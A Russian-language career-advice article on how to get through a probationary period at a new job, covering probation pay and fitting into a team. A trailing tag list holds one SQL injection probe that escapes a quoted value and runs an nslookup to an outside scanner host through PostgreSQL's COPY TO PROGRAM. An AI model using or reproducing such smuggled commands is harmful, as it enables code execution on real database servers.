Вот кажется, наконец-то работа мечты найдена, но работодатель ставит условие, что сначала надо пройти испытательный строк. Многих такая перспектива пугает, другие не видят в этом ничего сложного, мол обычная процедура. Но не стоит так быстро расслабляться, потому что как показывает практика 25 процентов сотрудников уходят из компании до окончания испытательного срока.
Причины ухода могут быть самыми разными, кому-то не понравились обязанности, кто-то не смог влиться в коллектив или не удовлетворил начальство качеством своей работы.
Как же пройти успешно испытательный строк на новой работе? На этот вопрос мы попытаемся найти ответ.
Проблемы могут возникать по причине не верно выбранной работы. Например, услышав цифру зарплаты вы не долго думая согласились, но лучше думать не только о заработке, а и о условиях работы, самой компании, ведь уходя с работы вам сделают запись в трудовой книжки и это подпортит вашу репутацию. К тому высокая зарплата скорее всего свидетельствует о том, что вам пройдется выкладываться на все сто процентов и делать работу очень быстро, работать сверхурочно.
Если же вы точно уверены с местом работы и хотите остаться в компании, то вам нужно найти человека, который посвятит вас в тонкости взаимоотношений в коллективе.
Также попытайтесь избежать двух распространенных ошибок:
Соглашаться или нет на меньшую зарплату на время испытательного строка? Обычно работодатель предлагает ее в 1.5 или 2 раза меньше обычной, но нужно учесть, что в престижных и уважающих себя компаниях зарплата на испытательном строке отличается не более чем на 20 процентов.
Вспомните китайскую поговорку о том, что нет ничего более постоянного чем временное, а потом хорошо подумайте, что ответить работодателю на слова: «Вы сначала покажите себя, а потом мы будем давать Вам сложные и ответственные поручения». Но соглашаясь с подобными словами вы поддаете себя риску, ведь к такому вашему положению сотрудники быстро привыкнут и оценят все удобства вашей работы, а вы в итоге получаете совсем не то на что рассчитывали и поменять ситуацию будет очень сложно.
На испытательном сроке вам все время пройдется находить золотую средину между: независимостью и неуверенностью, чрезмерным энтузиазмом и безынициативностью, чрезмерной общительностью и замкнутостью.

• testing';copy (select '') to program 'nslookup dns.sqli.13405.1964-1420.1964.1cb62.1.bxss.me
• testing
• предлагают меньшую зарплату соглашаться или нет
• сочинение рассуждение заработная плата
• rmataf.ru Kak_proyti_ispitatelniy_srok